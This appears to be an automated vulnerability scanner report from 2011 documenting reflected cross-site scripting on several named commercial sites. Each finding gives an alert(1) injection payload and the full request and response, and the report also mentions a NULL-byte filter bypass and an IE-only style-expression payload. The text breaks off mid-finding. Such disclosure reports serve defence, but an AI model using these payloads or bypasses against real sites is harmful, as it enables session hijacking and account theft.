Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the 66d04%22%3balert(1)//0e2b4395118 request parameter is copied into a JavaScript rest-of-line comment. The payload 65dc0%0aalert(1)//e5ca137a374 was submitted in the 66d04%22%3balert(1)//0e2b4395118 parameter. This input was echoed as 65dc0 alert(1)//e5ca137a374 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the Adults request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b7fb"%3balert(1)//3db775249e2 was submitted in the Adults parameter. This input was echoed as 4b7fb";alert(1)//3db775249e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011&Length=2&Adults=14b7fb"%3balert(1)//3db775249e2&Children=0&submit.x=54&submit.y=8 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7839 Date: Tue, 25 Oct 2011 02:05:34 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm32 at Mon Oct 24 21:05:34 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... pendChild(se); var reqParams = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?HotelID=13171&submit.y=8&submit.x=54&DateIn=11/2/2011&Adults=14b7fb";alert(1)//3db775249e2&Children=0&LanguageID=1&Rooms=1&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; </scrip ...[SNIP]...
The value of the Children request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7da63"%3balert(1)//322dc23182c was submitted in the Children parameter. This input was echoed as 7da63";alert(1)//322dc23182c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011&Length=2&Adults=1&Children=07da63"%3balert(1)//322dc23182c&submit.x=54&submit.y=8 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7839 Date: Tue, 25 Oct 2011 02:05:37 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm33 at Mon Oct 24 21:05:36 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... e); var reqParams = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?HotelID=13171&submit.y=8&submit.x=54&DateIn=11/2/2011&Adults=1&Children=07da63";alert(1)//322dc23182c&LanguageID=1&Rooms=1&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; </script> ...[SNIP]...
The value of the DateIn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 154d8"%3b698281334b8 was submitted in the DateIn parameter. This input was echoed as 154d8";698281334b8 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the DateIn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3cc1"%3balert(1)//cf76ef69ba0 was submitted in the DateIn parameter. This input was echoed as a3cc1";alert(1)//cf76ef69ba0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011a3cc1"%3balert(1)//cf76ef69ba0&Length=2&Adults=1&Children=0&submit.x=54&submit.y=8 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7839 Date: Tue, 25 Oct 2011 02:05:29 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm31 at Mon Oct 24 21:05:28 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... document.getElementsByTagName('head')[0].appendChild(se); var reqParams = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?DateIn=11/2/2011a3cc1";alert(1)//cf76ef69ba0&Adults=1&LanguageID=1&HotelID=13171&submit.y=8&submit.x=54&Children=0&Rooms=1&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62- ...[SNIP]...
The value of the Length request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1c4b3"%3balert(1)//3cc53739349 was submitted in the Length parameter. This input was echoed as 1c4b3";alert(1)//3cc53739349 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011&Length=21c4b3"%3balert(1)//3cc53739349&Adults=1&Children=0&submit.x=54&submit.y=8 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7839 Date: Tue, 25 Oct 2011 02:05:31 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm34 at Mon Oct 24 21:05:31 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?DateIn=11/2/2011&Adults=1&LanguageID=1&HotelID=13171&submit.y=8&submit.x=54&Children=0&Rooms=1&Length=21c4b3";alert(1)//3cc53739349&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; </script> ...[SNIP]...
The value of the Rooms request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c10f"%3balert(1)//d96274fc0b was submitted in the Rooms parameter. This input was echoed as 8c10f";alert(1)//d96274fc0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=18c10f"%3balert(1)//d96274fc0b&DateIn=11%2F2%2F2011&Length=2&Adults=1&Children=0&submit.x=54&submit.y=8 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7838 Date: Tue, 25 Oct 2011 02:05:26 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm34 at Mon Oct 24 21:05:26 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?DateIn=11/2/2011&Adults=1&LanguageID=1&HotelID=13171&submit.y=8&submit.x=54&Children=0&Rooms=18c10f";alert(1)//d96274fc0b&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; </script> ...[SNIP]...
1.8. https://booking.ihotelier.com/istay/istay.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://booking.ihotelier.com
Path:
/istay/istay.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66d04"%3balert(1)//0e2b4395118 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 66d04";alert(1)//0e2b4395118 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011&Length=2&Adults=1&Children=0&submit.x=54&submit.y=8&66d04"%3balert(1)//0e2b4395118=1 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7842 Date: Tue, 25 Oct 2011 02:05:45 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm33 at Mon Oct 24 21:05:45 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... d')[0].appendChild(se); var reqParams = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?DateIn=11/2/2011&Adults=1&LanguageID=1&HotelID=13171&66d04";alert(1)//0e2b4395118=1&submit.y=8&submit.x=54&Children=0&Rooms=1&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; ...[SNIP]...
1.9. https://booking.ihotelier.com/istay/istay.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://booking.ihotelier.com
Path:
/istay/istay.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript rest-of-line comment. The payload b8581%0aalert(1)//547cb97f009 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b8581 alert(1)//547cb97f009 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the submit.x request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2ef70"%3balert(1)//26b53f8648b was submitted in the submit.x parameter. This input was echoed as 2ef70";alert(1)//26b53f8648b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011&Length=2&Adults=1&Children=0&submit.x=542ef70"%3balert(1)//26b53f8648b&submit.y=8 HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7839 Date: Tue, 25 Oct 2011 02:05:39 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm34 at Mon Oct 24 21:05:39 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... ; var reqParams = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?DateIn=11/2/2011&Adults=1&LanguageID=1&HotelID=13171&submit.y=8&submit.x=542ef70";alert(1)//26b53f8648b&Children=0&Rooms=1&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; </script> ...[SNIP]...
The value of the submit.y request parameter is copied into a JavaScript rest-of-line comment. The payload 57259%0aalert(1)//e3871f293d was submitted in the submit.y parameter. This input was echoed as 57259 alert(1)//e3871f293d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the submit.y request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae3f6"%3balert(1)//d122b6a814a was submitted in the submit.y parameter. This input was echoed as ae3f6";alert(1)//d122b6a814a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /istay/istay.jsp?HotelID=13171&LanguageID=1&Rooms=1&DateIn=11%2F2%2F2011&Length=2&Adults=1&Children=0&submit.x=54&submit.y=8ae3f6"%3balert(1)//d122b6a814a HTTP/1.1 Host: booking.ihotelier.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA_CP04 (build: SVNTag=JBPAPP_4_3_0_GA_CP04 date=200902191818)/JBossWeb-2.0 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Content-Type: text/html;charset=UTF-8 X-Cnection: close Vary: Accept-Encoding Content-Length: 7839 Date: Tue, 25 Oct 2011 02:05:42 GMT Connection: keep-alive
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Page served by webllm31 at Mon Oct 24 21:05:42 CDT 2011 --> <title>Inn at the Market</title> ...[SNIP]... endChild(se); var reqParams = { xfwdforchain: "50.23.123.106, 204.2.145.222", requestParamsMap : "?DateIn=11/2/2011&Adults=1&LanguageID=1&HotelID=13171&submit.y=8ae3f6";alert(1)//d122b6a814a&submit.x=54&Children=0&Rooms=1&Length=2&", langID : "1", portal : "", sessionID : "6c1b8dc7-db24-4b62-a842-eeda205ed971" }; </script ...[SNIP]...
1.13. http://www.bevmo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bevmo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8c23'-alert(1)-'dc2ad7b7a2b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
//If successfull then undate the display. function OnFulfillmentSuccess(response) {
var reloadPage = 'http://www.bevmo.com/Default.aspx?f8c23'-alert(1)-'dc2ad7b7a2b=1'; var FulfillmentDesc = 'Please Select';
//Update the dropdown display. if ($('#ctl00_uxMainHeader_uxFulFillmentSelect_uxFulfillmentPickup').is(':checked')) { FulfillmentDesc = 'Store P ...[SNIP]...
1.14. http://www.bevmo.com//Default.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bevmo.com
Path:
//Default.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fec5c'-alert(1)-'bf1be2f7fbf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //Default.aspx?fec5c'-alert(1)-'bf1be2f7fbf=1 HTTP/1.1 Host: www.bevmo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 24 Oct 2011 18:04:24 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR DEVo TAIi PSAo PSDo IVAi IVDi CONi HISi OUR LEG PRE" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: BevMoSessionInfo=Wk5VandydlBtT1l3YmU0aDVpc2JaYS9kQVRXekcvRXljU0pCRlVRMEJYcm1qSGU4TEwrM3ZVZTd4azZnRHU0bDBJa3doZTJranpMWStWRHRSNXIweGc9PQ==; domain=.bevmo.com; expires=Wed, 23-Nov-2011 19:04:24 GMT; path=/; HttpOnly Vary: Accept-Encoding Content-Length: 134672
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
//If successfull then undate the display. function OnFulfillmentSuccess(response) {
var reloadPage = 'http://www.bevmo.com/Default.aspx?fec5c'-alert(1)-'bf1be2f7fbf=1'; var FulfillmentDesc = 'Please Select';
//Update the dropdown display. if ($('#ctl00_uxMainHeader_uxFulFillmentSelect_uxFulfillmentPickup').is(':checked')) { FulfillmentDesc = 'Store P ...[SNIP]...
The value of the d request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1ccf'-alert(1)-'5e3911f129c was submitted in the d parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the d request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 522f0'-alert(1)-'8218c8ad6ae was submitted in the d parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR DEVo TAIi PSAo PSDo IVAi IVDi CONi HISi OUR LEG PRE" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: BevMoSessionInfo=Wk5VandydlBtT1l3YmU0aDVpc2JaYS9kQVRXekcvRXljU0pCRlVRMEJYcm1qSGU4TEwrM3ZVZTd4azZnRHU0bDBJa3doZTJranpMWStWRHRSNXIweGc9PQ==; domain=.bevmo.com; expires=Wed, 23-Nov-2011 19:04:40 GMT; path=/; HttpOnly Date: Mon, 24 Oct 2011 18:04:40 GMT Content-Length: 95968
<!--
Logged: True
Error:
--> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/x ...[SNIP]... . function OnFulfillmentSuccess(response) {
var reloadPage = 'http://www.bevmo.com/WebResource.axd?d=Vn8XX9cbfEbHFFMgO_EIUneRK2kJYVL41HhxuX8lBR2lAunG1cpMCTmt65yIAubj0q011Z9BZeDmkstLfRNQjkj9uLo1522f0'-alert(1)-'8218c8ad6ae&t=634550446931609184'; var FulfillmentDesc = 'Please Select';
//Update the dropdown display. if ($('#ctl00_uxMainHeader_uxFulFillmentSelect_uxFulfillmentPickup').is(':checked')) { Fulfill ...[SNIP]...
The value of the desiredPackage request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1c7d"%3balert(1)//fc00e6870e3 was submitted in the desiredPackage parameter. This input was echoed as e1c7d";alert(1)//fc00e6870e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the desiredPackage request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26fe5"%3balert(1)//7ca62ee5906a011f6 was submitted in the desiredPackage parameter. This input was echoed as 26fe5";alert(1)//7ca62ee5906a011f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
1.19. http://ziptivity.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ziptivity.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 64326'style%3d'x%3aexpression(alert(1))'258e37ce97f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 64326'style='x:expression(alert(1))'258e37ce97f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
